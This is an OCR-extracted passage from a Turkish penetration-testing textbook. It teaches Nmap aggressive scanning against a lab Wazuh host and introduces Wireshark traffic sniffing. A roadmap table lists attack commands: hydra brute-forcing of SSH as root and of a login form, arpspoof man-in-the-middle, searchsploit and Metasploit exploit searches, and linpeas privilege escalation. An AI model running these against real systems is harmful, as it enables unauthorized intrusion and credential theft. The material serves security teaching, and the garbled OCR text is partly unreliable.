dayanir. Her isletim sistemi TCP paketlerine farkli karakteristiklerde cevap verir.

« TTL (Time To Live) degerleri

« TCP pencere boyutu (window size)

Bu farkhiliklar sunlari L
« RST lretim davranisi

icerebilir:

- Bayrak kombinasyonlarina verilen tepkiler

« TCP secenek alanlari (TCP options)

Tarama araci, 6zel olarak hazirlanmis gesitli TCP segmentleri gondererek bu davranislari gbzlemler ve
elde edilen yanitlari bilinen parmak izi veri tabani ile karsilastirir. Bu slire¢ sonucunda hedef isletim
sistemine ve ¢cogu zaman cekirdek (kernel) sirimdine iliskin tahmin Gretilir. Bu teknik, 6zellikle sistem
tlrind belirleme ve zafiyet eslestirme asamasinda dnemli rol oynar.

Servis ve Siiriim Tespiti (-sV): Acik oldugu belirlenen portlara uygulama katmani seviyesinde o6zel
yoklama (probe) paketleri gonderilerek gergeklestirilir. Bu tespitin amaci yalnizca bu port agik mi,
sorusuna cevap vermek degildir.

. . « Hangi servis calisiyor?
Servis ve sliriim g salisty

tespiti su sorulara « Servisin tam sliriim numarasi nedir?

cevap arar:

« Uriin adi ve banner bilgisi nedir?
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Sizma testi siirecinin en 6nemli asamalarindan biri olarak + 80/tcp > HTTP

verilen su 6rnek bilgiler, bilinen zafiyet veri tabanlari ile « 22/tcp > OpenSSH 8.4
eslestirilerek risk analizi yapilmasina olanak saglar:

« 21/tcp > vsFTPd 3.0.3

Komut Dosyasi Taramasi (--script default/-sC): Nmap Komut Dosyasi Motoru (NSE), belirli gérevleri
yerine getirmek icin yazilmis betiklerin (script) ¢alistiriimasina imkan tanir. default kategorisi, temel
kesif ve glivenlik kontrollerini iceren glivenli ve yaygin kullanilan betikleri calistirir.

- Servis yapilandirma kontrolleri
Betiklerin
gercgeklestirdigi
islemler sunlardir: - Bilgi toplama islemleri

- Temel zafiyet yoklamalari

« Protokol spesifik sorgular

« SSL sertifika bilgisi toplama

Elde edilen bazi « HTTP baslik analizi
bilgiler sunlardir: . SMB bilgi sorgulama

« DNS servis detaylari

Bu asama, agresif taramanin bilgi edinme miktarini dnemli 6lglide artirir.

Traceroute (--traceroute): Tarayici sistem ile hedef arasinda bulunan ag atlamalarini (hops) ortaya
cikarir. Paketlerin hedefe ulasana kadar gectigi yonlendiriciler belirlenir ve ag topolojisi hakkinda fikir
edinilir.

Traceroute ile elde « Ara router IP adresleri

ORI BIEFTIL (B« Atlamalar arasi gecikme sireleri

Uil « Ag segment yapisi

« Ag segmentasyonu analizi

Traceroute ile elde
LN BEFS I < DMZ konumlandirma tespiti
icerebilir:

« Guvenlik duvari yerlesimi tahmini
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BiLGi TOPLAMA VE KESiF YONTEMLERI

Sizma testi slirecinde agresif tarama genellikle kesif asamasinin ikinci adiminda kullanilir.

Hedef canli mi (Ping sweep)?

Hangi portlar acik (SYN scan)?

Kesif adimlari ise su

sekilde ilerler:
Servis strimleri neler?

1
2
3. Acik portlarda hangi servisler calisiyor?
4
5

isletim sistemi tahmini nedir?

Agresif taramanin 3, 4 ve 5. adimlari tek bir komut ile gerceklestirmeye olanak saglar. Agresif
tarama, stealth (gizli) bir yontem degildir. Daha ¢ok laboratuvar ortaminda izinli testlerde veya i¢ ag
degerlendirmelerinde tercih edilir.

« Yogun trafik Uretir.
Bunun nedeni ise « IDS/IPS sistemleri tarafindan kolaylikla tespit edilebilir.

sunlardir: « GUraltala (noisy) bir tarama taraddar.

« Gergek saldiri 6ncesi dikkat cekebilir.

Agresif tarama, ayni anda birden fazla kesif teknigini devreye soktugu icin klasik port taramalarina kiyasla
belirgin 6lciide daha fazla ag trafigi Uiretir. isletim sistemi parmak izi, servis siiriim tespiti, betik calisirma
ve traceroute islemleri birlikte yuritildagiinde hedef sisteme art arda ve farkh karakteristiklerde ¢ok
sayida TCP, UDP ve uygulama katmani paketi gonderilir. Bu durum, kisa zaman araliginda yiksek paket
yogunlugu (packet density) ve baglanti denemesi artisi olusturur.

Ag izleme sistemleri acisindan bakildiginda agresif tarama davranisi genellikle anomali Uretir.
Ozellikle imza (signature) tabanli IDS/IPS ¢éziimleri, belirli tarama kaliplarini tanimlayacak sekilde
yaptlandiriimistir.

« Ayni kaynaktan kisa slrede ¢ok sayida farkli porta SYN génderilmesi

Yaygin olarak

« Servis tespiti sirasinda farkli protokollere yonelik art arda probe paketleri
karsilasilan érnek

durumlar sunlardir: « TCP bayrak kombinasyonlarinda olagandisi tekrarlar

« Banner toplama girisimleri

Sayilan tlirdeki davraniglar, sistem tarafindan port scan, service enumeration, OS fingerprinting
attempt gibi alarmlar Gretmesine neden olabilir.

« Guvenlik duvari loglarinda art arda baglanti denemeleri
Log kayitlari

incelendiginde + Web sunucu loglarinda farkli user-agent veya anormal HTTP istekleri

agresif tarama su
sekillerde gériiniir:

SSH, FTP gibi servis loglarinda basarisiz baglanti girisimleri

« IDS/IPS sistemlerinde tarama imzasina karsilik gelen uyari kayitlari
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Ozellikle SIEM ortamlarinda bu davranis, kisa siireli yiiksek baglanti sayisi ve farkli hedef portlara
yonelim nedeniyle kolaylikla korelasyon kuralina takilabilir. Bu nedenle agresif tarama, teknik olarak
glcli bir kesif yontemi olmakla birlikte gergek saldiri simiilasyonlarinda gizlilik gerektiren senaryolarda
tercih edilmez ancak izinli sizma testlerinde hizlica ve kapsaml bilgi toplamak amaciyla bilingli sekilde
kullanilabilir.

8. Uygulama

Bir kurum agi icerisinde gerceklestirilen izinli bir sizma testi kapsaminda, 192.168.1.191 IP adresli
sistemin kurum agi Gzerindeki roli ve sundugu servisler hakkinda 6n bilgi toplanmak istenmektedir.
Hedef sistemin disariya hangi servisleri sundugu, hangi isletim sistemini kullandigi ve ag izerinde nasil
konumlandigl heniiz bilinmemektedir. Test uzmanindan hedef sistem hakkinda mimkiin oldugunca
fazla bilgiyi toplayarak kesif strecini baslatmasi beklenmektedir.

Bu amagla Nmap araci kullanilarak agresif tarama slrecinde yer alan temel adimlari ayri ayri uygulayiniz
ve son asamada ayni islemleri tek komut altinda birlestirilerek agresif tarama islemini gergeklestiriniz.

1. Adim: Agresif tarama 6ncesinde hedef sistem lizerinde hangi portlarin agik oldugunun belirlenmesi
icin 6ncelikle temel bir TCP SYN port taramasi yapiniz. Bunun icin nmap -sS 192.168.1.191 komutunu
kullanarak hedef sistem lizerinde agik olan TCP portlarini tespit ediniz (Gorsel 2.22).

18:19 EDT
3.1.191)
Host is up (
Mot shown -
PORT STATE
C open

Nmap done: 1 IP address (1 host up) scanned in ©.61 seconds

-

Gorsel 2.22: TCP SYN tarama sonucu
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2. Adim: Birinci adimda acik oldugu belirlenen portlar lizerinde calisan servislerin ve bu servislerin
sirim bilgilerinin 6grenilmesi amaciyla nmap -sV 192.168.1.191 komutunu kullanarak servis striim
tespiti yapiniz (Gorsel 2.23).

submit the following fing nt at https:

"Authent

Gorsel 2.23: Servis striim tespiti

m Tarama sonucunda sistem (izerinde asagidaki portlarin acik oldugu tespit edilmistir:
« 22/tcp - SSH servisi (OpenSSH 8.9p1-Ubuntu)
« 443/tcp = HTTPS servisi

« Linux isletim sistemi kullaniimaktadir.
« Ag karti Ureticisinin bilgisi gortilmektedir.

« “1 service unrecognized despite returning data tespit edilmistir.” ifadesi,
“Bir web servisi galisiyor ve bu servis bir dashboard sistemi (Wazuh gibi)
olabilir” bigiminde yorumlanir.

Ayrica sistemle

ilgili su bilgilere
ulasiimaktadir:

« HTTP/1.1 302 Found - /app/login bilgisine ulasilmaktadir.

« HTTP/1.1 401 Unauthorized bilgilerine bakildiginda sistemin bir login pa-
neli barindirdigi gérilmektedir.

Yapilan servis stirim tespiti sonucunda hedef sistem Uzerinde SSH ve HTTPS servislerinin aktif oldugu
belirlenmistir. SSH servisinin OpenSSH 8.9 strimini kullanmasi, sistemin Ubuntu tabanl bir Linux
isletim sistemi galistirdigini géstermektedir. HTTPS servisi Uzerinde yapilan yoklamalar sonucunda,
sistemin /app/login adresine yonlendiren bir web uygulamasi barindirdigi ve kimlik dogrulama
gerektirdigi tespit edilmistir. Bu bilgiler, hedef sistemin hem uzaktan yénetim hem de web uygulamasi
Uzerinden saldiri ylizeyine sahip oldugunu gostermekte olup zafiyet arastirmasi icin dnemli bir baslangic

noktasi olusturmaktadir.
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3. Adim: Hedef sistemin isletim sistemini tahmin etmek amaciyla nmap -0 192.168.1.191 komutunu
kullanilarak c¢iktilari inceleyiniz (Gorsel 2.24).

echnology)

el:4 cpe:/o:linux:linux_

S detection per 4 report incorrect r map.org/submit/ .
Nmap done: [ ] i 5

Gorsel 2.24: isletim sistemi tespiti

m Servis stiriim tespiti (-sV) ve isletim sistemi tespiti (-O) farkl yéntemlere dayanmaktadir. -sV
parametresi, acik portlar Gizerinde calisan servislerin verdigi yanitlari inceleyerek bilgi Gretir.

-0 parametresi, hedef sistemin TCP/IP paketlerine verdigi diistik seviyeli tepkileriinceleyerek
isletim sistemi tahmini yapar. Bu nedenle -sV ile elde edilen isletim sistemi bilgisi dolayli
ve degistirilebilir. -O ile elde edilen sonuglar, sistemin ag davranisina dayandigi icin daha
glvenilir kabul edilir. Yapilan isletim sistemi tespiti sonucunda hedef sistemin Linux tabanh
birisletim sistemi calistirdigi ve kernel stirim{intin 4.15 ile 5.6 araliginda oldugu belirlenir. Bu
bilgi, sistem Uzerinde gergeklestirilebilecek zafiyet arastirmalarinin kapsamini daraltmakta
ve Ozellikle kernel seviyesinde bilinen aciklarin incelenmesine olanak saglamaktadir. Ayrica
hedef sistemin ag mesafesinin 1 hop olmasi, sistemin yerel ag icerisinde bulundugunu ve
dogrudan erisilebilir oldugunu géstermektedir. Bu durum, saldiri yiizeyinin genis oldugu ve
testlerin daha etkin gergeklestirilebilecegi anlamina gelmektedir.

4. Adim: Agik portlar ve servisler (izerinde Nmap’in varsayilan scriptlerini ¢alistirip, ek bilgi toplama
ve temel gilvenlik kontrollerini nmap -sC 192.168.1.191 komutunu kullanarak yapiniz ve sonuglari
yorumlayiniz (Gorsel 2.25).

Nmap done: 1 IP address (1 host up) scanned in 10.13

Gorsel 2.25: Script ile ek bilgi toplama
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m Yapilan script taramasi sonucunda hedef sistem hakkinda elde edilen kritik bilgiler soyledir:
» Sistem Uzerinde SSH ve HTTPS servisleri aktif olarak ¢alismaktadir.
« HTTPS servisi Gzerinde Wazuh Dashboard uygulamasi bulunmaktadir.
« Web uygulamasi /app/login adresinde bir giris paneli sunmaktadir.
« Sistem uzaktan yonetilebilir durumdadir (SSH acik).
+ TLS sertifikasi ve yapilandirmasi hakkinda detayli bilgi elde edilmistir.

5. Adim: Tarama yapan sistem ile hedef sistem arasinda bulunan ag cihazlarini ve olasi ydénlendirme
yapisini nmap --traceroute 192.168.1.191 komutu ile inceleyiniz (Gorsel 2.26).

3-17 11:2@ EDT

ports (reset)

Nmap donme: 1 IP (1 host up) scanned in @.51 seconds

Gorsel 2.26: Yonlendirme bilgisi toplama

m Yapilan traceroute analizi sonucunda hedef sistemin yalnizca 1 hop uzaklikta oldugu ve ayni
yerel ag icerisinde bulundugu tespit edilmistir. Bu durum, hedef sistem ile tarama yapan
makine arasinda dogrudan bir erisim oldugunu ve arada ek bir ag segmenti veya givenlik
cihazi bulunmadigini géstermektedir. Bu tir bir yapi, sizma testi agisindan daha genis bir

saldiri ylzeyi olusturmakta ve ag icerisindeki sistemlere erisimi kolaylastirmaktadir.

6. Adim: Onceki adimlarda ayri ayr gergeklestirilen servis siiriim tespiti, isletim sistemi tespiti,
varsaylilan script ¢alistirma ve traceroute islemleri tek bir komut altinda birlestirilerek agresif tarama
islemini nmap -A 192.168.1.191 komutunu kullanarak uygulayiniz (Gorsel 2.27).

Gorsel 2.27: Agresif tarama sonuglari
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7. Adim: Yapilan testler ve elde edilen bilgilere dayanarak Tablo 2.5'teki gibi sizma testi slirecinde
izlenecek kapsamli bir yol haritasi olusturunuz.

Tablo 2.5: Sizma Testi Yol Haritasi

Yapilan islem Bulgular Yorum Sonraki Adim Teknik Ornekler

X Host up, 1 . . nmap -sn 192.168.1.0/24 ile
Kesif Ayni ag Aktif tarama e
hop agdaki diger cihazlari kesfet.
. . . . nmap -sS -p- 192.168.1.191
Port Tarama | 22, 443 acik | Kritik servis Servis analizi .
tiim portlari tara.
: ... | OpenSSH, : : :
Servis Tespiti HTTPS Versiyon belli CVE arastir searchsploit openssh 8.9
Script Wazuh nmap --script http-enum
P 2 Yonetim sistemi Web testleri P P p-end
Taramasi panel 192.168.1.191
uname -a (erisim sonrasi),
OS Tespiti Linux Hedef net PrivEsc planla ( . g )
kernel Exploit arastir.
Traceroute 1 hop Segment yok Ag saldirilar arp-scan -l ile ag haritalama
. . . hydra -l root -P wordlistimiz.txt
SSH Analizi SSH agik Giris noktasi SSH testleri

ssh://192.168.1.191

gobuster dir -u
Web Analizi | /app/login | Auth noktasi Auth testleri https://192.168.1.191 -w
wordlistimiz.txt

sslscan 192.168.1.191 veya

TLS Analizi Sertifika var | Zayif olabilir TLS testleri ) .
nmap --script ssl-enum-ciphers
Fingerprint Wazuh Uriin belli Exploit arastir | searchsploit wazuh
. . hydra -L users.txt -P pass.txt
Auth Test Login var Credential attack | Brute-force
https-post-form
Web Burp Suite ile request
. . 401/302 Auth kontrol Bypass test p . q

Givenligi manipulation

MitM [Men-

. L. in-the-Middle . . arpspoof -i eth0 -t

Ag Analizi Ayni LAN . Trafik analizi

(Ortadaki Adam)] 192.168.1.191 gateway

mimkin
Zafiyet SSH +

v Hedef belli Exploit dene Metasploit: search wazuh
Arastirma Wazuh
Privilege
g. Yok Root hedef Local Exploit sudo -, linpeas.sh

Escalation
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2.3. AG ORTAMI DINLEME ARAGLARI

Sizma testi stireglerinde ag yalnizca verinin iletildigi bir ortam degil ayni zamanda bilgi kaynagidir. Hedef
sistemlere dogrudan miidahale etmeden 6nce ag lizerinde dolasan verinin gézlemlenmesi, cogu zaman
beklenenden daha fazla 6nemli bilgi ortaya ¢ikarir. Bu nedenle ¢erceve (frame) analizi ve trafik dinleme,
kesif asamasinda 6nemli bir yer tutar.

Bir agda iletilen her veri, fiziksel ortama gonderilmeden 6nce belirli bir yapiya dénistirulir. Kablolu
aglarda bu yapiyla Ethernet gcercevesi, kablosuz aglarda ise IEEE 802.11 gercevesi olarak karsilasilir. Bu
cerceveler; kaynak ve hedef adres bilgilerini, kontrol alanlarini ve hata denetim mekanizmalarini igerir.
Sizma testi agisindan bakildiginda bu alanlar sizma testi yapacak kisi icin istihbarat niteligi tasir (Gorsel
2.28).

Gorsel 2.28: Ag ortami dinleme

Trafik dinleme (sniffing) slireci, ag Uzerinde tasinan bu cercevelerin 6zel analiz araglari yardimiyla
yakalanmasi ve incelenmesini kapsar.

« Agdaki aktif cihazlarin tespitinin yapilmasi

Trafik dinleme ile elde edilen « Sifrelenmemis veri akislarinin yakalanmasi

bilgiler, sunlar gibi sonraki . . . i .
grier, s g « Kimlik dogrulama mekanizmalarinin gézlemlenmesi

asamalar igin yén belirleyici
olabilir: « Acik servislerin dolayli olarak anlasiimasi

« Kullanilan protokollerin belirlenmesi
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ic ag testlerinde trafik analizi 6zellikle kullanici davranislari ve sistem iletisimi hakkinda ciddi bilgiler
verir. Yanlis yapilandiriimis servisler, diiz metinle (clear-text) iletilen kimlik bilgileri veya segmentasyon
eksiklikleri gogu zaman yalnizca trafik izlenerek ortaya ¢ikarilabilir.

Kablosuz aglarda ise durum daha kritiktir. Ortam paylasimli oldugu i¢in kapsama alani igerisindeki
bir saldirgan, uygun donanim ve yapilandirma ile ag trafigini gozlemleyebilir. Yonetim (management)
cerceveleri, baglantt denemeleri ve erisim noktasi bilgileri, kablosuz ag glvenligi acisindan ayri bir
inceleme alani olusturur. Bu nedenle kablosuz ¢erceve analizi, yalnizca veri inceleme degil ayni zamanda
erisim kontrol mekanizmalarinin degerlendirilmesi anlamina gelir.

Sizma testi metodolojisinde trafik dinleme genellikle aktif tarama Oncesinde veya yetki ylkseltme
asamalarinda kullanilir. Bunun amaci, gorlnr ylizeyin 6tesine gecerek agin gercek davranis modelini
anlamaktir. Cerceve seviyesinde yapilan analiz, ist katmanlardaki servis ve uygulama giivenligine dair
onemliipuglari sunar.

Ag trafiginin incelenmesi iki temel yaklasim Uzerinden degerlendirilir. Bu ayrim, testin dogrudan
hedef sistemle etkilesime girip girmedigine gore belirlenir. Pasif trafik analizi, ag Uzerinde Uretilen
mevcut trafigin herhangi bir miidahale olmaksizin izlenmesini ifade eder. Bu yontemde test uzmani
yalnizca gbzlem yapar, paket lGretmez, baglanti baslatmaz ve hedef sistem davranisini degistirmez.
Ozellikle i¢ ag sizma testlerinde kullanicilarin ve servislerin dogal iletisimi sirasinda ortaya ¢ikan veriler
analiz edilerek degerli bilgiler elde edilebilir. Sifrelenmemis protokoller, broadcast mesajlari ve kimlik
dogrulama trafigi bu kapsamda incelenir. Aktif trafik analizi ise hedefin belirli tepkiler vermesini
saglamak amaciyla kontrolli paket gonderimi yapilmasini icerir. Bu yaklasimda sistemin yanit davranisi
olcilir ve yorumlanir. Ornegin belirli bir servise dzel crafted paket gdonderilerek hata mesaiji tiretilmesi
saglanabilir. Aktif analiz daha fazla iz birakir ancak bilgi edinme miktari genellikle yiksektir. Sizma testi
pratiginde pasif yontemler genellikle baslangic asamasinda tercih edilir, aktif yontemler ise dogrulama
ve daha derin analiz asamalarinda kullanilir.

Trafik dinleme sireclerinde ag arayiiz kartinin ¢alisma modu 6nemlidir. En sik karsilasilan iki mod
promiscuous mod ve monitor moddur (Gorsel 2.29).

l—
Port Mi?r_oring

0155 *““ Lt
e 0117911011

Promischaus Mode Monitor Mode

%j_ AT B & e

\_! .;' 5

&

=
L]

Gorsel 2.29: Calisma modlari
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Promiscuous mode, ag kartinin yalnizca kendi MAC adresine gonderilen ¢erceveleri degil bulundugu
segmentteki tim Ethernet cercevelerini kabul etmesini saglar. Bu mod genellikle kablolu aglarda
kullanilir ancak modern anahtarlamali (switch) aglarda dogrudan tim trafigi gérmek her zaman
mimkin degildir ¢clnki trafik genellikle hedef porta yonlendirilir. Bu nedenle promiscuous mode
daha cok hub ortamlarinda veya port mirror yapilandirmalarinda etkilidir. Monitor mode ise kablosuz
aglar icin gecerlidir ve daha kapsamhdir. Bu modda ag karti yalnizca veri ¢ergevelerini degil yonetim
(management) ve kontrol (control) cercevelerini de yakalayabilir. Ayrica cihazin herhangi bir erisim
noktasina baglh olmasi gerekmez. Bu 6zellik, kablosuz sizma testlerinde avantaj saglar ¢lnk{ agin
baglanti 6ncesi davraniglari dahi gézlemlenebilir.

Trafik analizinin asil Gnemi, sonraki adim igin bir kaynak olusturmasidir.
« Hangi sistem hedef alinmalidir?

« Hangi servis 6nceliklidir?

Trafik analizinden

L R EH Y - Kimlik dogrulama mekanizmasi, brute-force uygun mudur?

LR G « Ag segmentasyonu yeterli midir?

« Yanal hareket mimkun mudar?

« Ortamin fiziksel olarak paylasimli olmasi

Kablosuz aglarda trafik L o . . -
« Yonetim cercevelerinin acik sekilde gozlemlenebilir olmasi

analizinin daha énemli bir rol
LS S ke[l + Baglantidenemelerive kimlik dogrulama sireglerinin izlenebilir
olmasi

2.3.1. Kablolu Ortam Dinleme Araglari

Kablolu ag ortamlarinda trafik dinleme, sizma testi siirecinde ozellikle i¢ ag degerlendirmelerinde
onemli bir rol oynar. Bu asamada amag yalnizca paket yakalamak degildir. Agin gergek iletisim seklini
anlamak, giivenlik agiklarini pasif sekilde tespit etmek ve sonraki adimlari planlamaktr.

Anahtarlama cihazi (switch) kullanilan modern aglarda trafik, dogrudan hedef porta yonlendirildigi icin
kablolu ortamda sniffing her zaman, her seyi gérmek anlamina gelmez. Bu nedenle dinleme islemi
yapilirken ortam topolojisi, VLAN yapisi ve port yapilandirmalari dikkate alinmalidir. Gerektiginde port
mirroring (SPAN), ag TAP cihazlari veya yetkili erisim senaryolari devreye girer.

 Sifrelenmemis kimlik bilgilerini yakalamak

« Agici servis kesfi yapmak

Sizma testi baglaminda kablolu

trafik analizi genellikle su « Protokol analizi yapmak
amaglarla yapilir:

« Oturum ve cerez bilgisi toplamak

« Segmentasyon zafiyetlerinin tespitini yapmak
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Kablolu ortamda trafik dinleme, [ W IR - R (ST
¢ogu zaman su iki senaryoda

o 2. Fiziksel erisim sonrasi degerlendirmelerde
gerceklestirilir:

Modern switch mimarilerinde dogrudan tim trafigi gormek her zaman mimkin degildir.

« Pasif dinleme mi yeterlidir?
Bu nedenle sizma testi uzmani

MitM konumlandirmasi gerekli midir?

ortami analiz ederek uygun
yéntemi soéyle se¢gmelidir:

VLAN segmentasyonu var midir?

« IDS/IPS davranisi nasildir?

Dinleme araglarinin yalnizca veri toplamasi 6nemli bir noktadir. Asil deger, toplanan verinin
yorumlanmasindadir. Bu sirecte kullanilan araglar hem teknik analiz hem de saldiri zinciri olusturma
acisindan farkli 6zellikler sunar. Bu asamada kullanilan araglardan bazilari sunlardir:

1. Wireshark

Wireshark, kablolu ortamda enyaygin kullanilan paketanaliz aracidir. Grafik araylizii sayesinde yakalanan
Ethernet cerceveleri ayrintili bicimde incelenebilir. Ornegin diiz metin iletilen bir FTP oturumunda
kullanici adi ve parola dogrudan paket iceriginde gorilebilir. Benzer sekilde HTTP lizerinden iletilen

form verileri analiz edilebilir.

» Protokol katmanlarinin detayh ayristiriimasi

Sizma testi agisindan Wireshark GRS EESNIHUERNI{E ERIELEIF

su avantajlari saglar:

HTTP, FTP, SMTP gibi protokollerde icerik goriintileme

Filtreleme ile hedefli analiz (6rnegin yalnizca belirli IP trafigi)
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Wireshark daha cok analiz ve dogrulama asamasinda kullanilir, genis 6lcekli otomatik kimlik bilgisi
toplama igin ek araglara ihtiyag duyulabilir. Wireshark ile yapilabilecek filtreleme islemleri cok nemli
verilerin sliziilerek degerlendirilmesini saglar. Bu agidan ornek kullanimlarindan bazilari Tablo 2.6’da

verilmistir.

Tablo 2.6: Ornek Filtre Kullanimlari

Ornek Kullanim

ip.addr == [IP Adresi]

Belirli bir IP adresinden gelen ve giden tim trafigi gosterir.
Ornek: ip.addr == 192.168.1.10

ip.src == [IP Adresi]

Belirli bir IP adresinden kaynaklanan trafigi gosterir.
Ornek: ip.src == 192.168.1.10

ip.dst == [IP Adresi]

Belirli bir IP adresine yonelen trafigi gosterir.
Ornek: ip.dst == 192.168.1.10

tcp.port == [Port Numarasi]

Belirli bir TCP portunu kullanan trafigi gosterir.
Ornek: tcp.port == 80 (HTTP trafigi)

udp.port == [Port Numarasi]

Belirli bir UDP portunu kullanan trafigi gosterir.
Ornek: udp.port == 53 (DNS trafigi)

tcp.flags.syn == 1 && tcp.flags.ack ==

TCP baglanti kurulum stirecindeki SYN paketlerini gosterir
(SYN flood saldirilarini tespit etmek igin).

tcp.flags.reset ==

TCP baglantilarinda RESET (RST) bayragini iceren paketleri
gosterir.

http

HTTP protokoll Gzerinden yapilan trafigi gosterir.

dns

DNS protokolii Gizerinden yapilan trafigi gosterir.

frame.len > [Boyut]

Belirli bir uzunluktan biliyik paketleri gosterir.
Ornek: frame.len > 1000 (1000 bayttan biiyiik paketler)

icmp

ICMP protokolii Gzerinden yapilan trafigi gosterir.
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9. Uygulama

istemciile sunucu arasinda kurulan TCP baglantisinin iiglii el sikisma siirecinin Wireshark ile incelemesini
gerceklestiriniz.

1. Adim: Wireshark uygulamasini agarak uygun ag araylizini (Ethernet veya Wi-Fi) seciniz ve paket
yakalamayi baslatiniz (Goérsel 2.30).

Ml Wiresharie Af Cozomleyicisi
DOSYA  Odzends  GOronom G Vakala  Analiz  [statstikler Telefon  Kablosuz  Araglar  Yardm

AR ;8 RE Q= P e EannTE
W[ Eir goruntuteme filtre

Wireshark e Huggeldiniz

Ag

Ele gegir

b fltreyi baullanarak: [ - | |Gésterilen tom araydzler =

Achaprer for loopback trathc capture L
Yerel A3 Baglantisz* 10

Yerel A3 Baglantise® §

Yerel A3 Baglantiss® 8

Blustooth A3 Baglantis

Yered A Baglantise® 2

Yerai A Baglantiss 1

Ogren
Kullamse: Kilavuzu - Wikl - Sorular ve Cevaplar - Posta Listelerl - SharkFest - Wireshark Dlscord - Badsg yap
Wireshark gahgtinyorsunuz 4.4.7 (v A.7-0-g7980353961630). Gromatik guncelleme slyorsuruz,

Gorsel 2.30: Uygun arayiiz segimi

2. Adim: Wireshark tarafindan ag trafiginin yakalandigini teyit ediniz (Gorsel 2.31).

Wi-Frden yakatama
¥

o >
DOSYA Dozende Goranom Git  Yakala  Analr  Istatistikler  Telefon  Kablosuz  Araglar  Yacm
AW ZQ TRT QesE5FE = 4 QT
] £ -
Time Source Protocol Length Info
1] 0. 000000 192,168.1,37 192.168.1.20 Tcp 164 28835 + BO0S [PSH, ACK] Seq=1 Ack=1 Win=234 Lens118
3 d.oes5281 192.168.1.38 192.168.1.27 TP 164 3009 + 24835 [PSH, ACK] Segqel Ack=111 Win=2719 Len=118
4 B.Das582 192.168.1.27 192.168.1.28 TP 54 24839 + 8009 [ACK] Seqe111 Ackelll Wine254 Lensd
6 5.088101 192.168.1.27 192.168.1.20 TP 164 24839 « 8089 [PSH, ACK] Seq=111 Acke=111 Win=254 Len=110
B8 5.010572 42:72:6F:90:1da: 0 Broadcast ARP 42 Who has 192.168.1.17 Tell 192.168.1.2%
9 5.813871 192.168.1.28 192.168.1.27 TCP 164 3009 + 24339 [PSH, ACK] Seqe111 Ack=271 Win=2719 Lens=118
18 5.055878 192.168.1.27 192.168.1.20 TCP 54 24839 + 8005 [ACK] Seqe221 Acke221 Win=253 Lensd
12 5_8G9824 192.168.1.27 192.178.24.69 TCP 55 18353 + 443 [ACK] Seqsl Ack=1 Min=259 Lensl
13 5.899841 192.168,1.27 192.178.24.65 TP 55 [TCP Keep-Alive] 28353 = 443 [ACK] Seqel Ack=l Win=259 Len=l

Frame 1: 164 bytes on wire (1312 bits), 164 bytes coptured (1312 bits) on interface \Device\WPF_(OEISFIF5-2702-4TBF-B928-10F196037 0000 [IEENINN «7 4a 7c 8 59 d2 o9 13 05 06 00 45 00 [ 7| E

Ethernet 11, Src: Cloudietwork sD:13:95 (f8:89:d2:49:13:95), Dst: SkyworthDigi_e7:da:7c (e8:22:b8:e7:da:7c) : ?: :: :; *‘;“‘ :’9 ;'9 °: 12 ';: :: '; 31 :‘: ;: i: ’ “ °“h L
i 3 % fc a2 w e & - %

Ir\terl‘e.\ I.’Ntncol Version 4, Src: 192.168.1.27, Dstr 192.168.1.20 B9 fe ce d2 B0 00 17 B3 B3 B 69 ab Ba bS 4F ba i o
Transmission Control Protocol, Src Port: 24819, Ost Port: 8009, Seqr 1, Ack: 1, Len: 118 4 f4 se cd Tc bY Ge e) ce 51 2e 31 BS Ta Bd ba In e

Ge 57 62 ca 36 40 o4 30 s 68 bf Se 51 43 85 a4 Wb oEN.-@ :h 0 D

Gorsel 2.31: Trafigin izlenmesi
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3. Adim: Hedef sistemde (192.168.1.191) bulunan Wazuh SIEM web arayiiziine tarayici Uzerinden
baglanarak yeni bir TCP oturumu baslatiniz ve liglii el sikisma slirecinin olusmasini saglayiniz (Gorsel
2.32).

wdazuh

The Open Source Security Platform

Gorsel 2.32: Web sitesi ile baglanti kurulmasi

4. Adim: Paket yakalamayi durdurarak dogru paketleri incelemeye baslayiniz (Goérsel 2.33).

M wi-Fi
DOSYA  Dizenle Gorlndm  Get  Yakala Anahz  Istatstikler Telefon  Kablosuz  Araglar  Yardim

ERRAR«sSFEEeaal

Paketleri yakalamay durdur |- (1

No. Time Source Destination Protocol Lengtt info
12061 147.780739 192.168.1.20 192.168.1.27 TP 164 Bo@S » 24839 [PSH, ACK] Seq=4938 Ack=3423 Win=2719 Len=11@
12062 147.824829 192.168.1.27 192.168.1.28 e 54 22839 + 2099 [ACK] Seq=3433 Ack=5848 Win=255 Len=@
12864 147.825331 192.168.1.1 239.255.255.250 SSDP 174 M-SEARCH * HTTP/1.1
12065 148.171653  192.168.1.1 239._355.255.250 SSDP 174 M-SEARCH * HTTR/1.1
12866 148.696023  192.168.1.1 239255255250 SS0P 175 M-SEARCH * HTTP/1.1
12067 148 696023 192.168.1.1 239_255_ 255 250 SS5DP 175 M-SEARCH * HTTP/1.1
12868 149.7208691 192.168.1.27 192.168.1.191 TCR 55 [TCP Keep-Alive] 28441 + 443 [ACK] Seq=2472 Ack=2983 Win=64256 Lens1
12665 149.720785 192.168.1,27 192.168.1.191 TCP. 55 [TCP Keep-Alive] 28441 < 443 [ACK] Seq=2472 Ack=2983 Win=564256 Lens1
12079 149.720814 192.168.1.27 52.71.41.97 TCP 55 [TCP Keep-Alive] 2840@ = 443 [ACK] Seq=11473 Ack=9082 Win=65536 Lens1
12071 149.720826 192.168.1.27 52.71.41.97 TCP 55 [TCP Keep-Alive] 28408 = 443 [ACK] Seq=11473 Ack=90B2 Win=65536 Len=1
12872 149.728153 192.168.1,191 192 168,1.27 Tce 66 [TCP Keep-Alive ACK] 443 + 28441 [ACK] Seq=2983 Ack=2473 Win=B1824 Len=8 SLE=2472 SRE=2473
12873 158.010798 52,71.41.97 192.168,1,27 TCP Bb [TCP Keep-Alive ACK] 443 - 284080 [ACK] Seq=9082 Ack=11474 Win=188808 Len=0 SLE=11473 SRE=11474
12874 151.147877  192.168.1.27 142.351.38.234 TP 55 [TCP Keep-Alive] 28456 + 443 [ACK] Seqs3384 Ack=14368 Wins65824 Len=1
12075 151.147893  192.168.1.27 142.251.38.234 TcP 55 [TCP Keep-Alive] 28456 + 443 [ACK] Seq=3384 Ack=14368 Win=55824 Lens1
120876 151.148073  192.168.1.27 23.32.238.211 TR 55 [TCP Keep-alive] 28462 + 443 [ACK] Seq=2641 Ack=5988 Win=65280 Len=1

Gorsel 2.33: Trafigin durdurulmasi

5. Adim: Oncelikle filtre kismina TCP yazarak biitiin tcp paketlerini inceleyiniz ve aralarinda SYN, SYN/
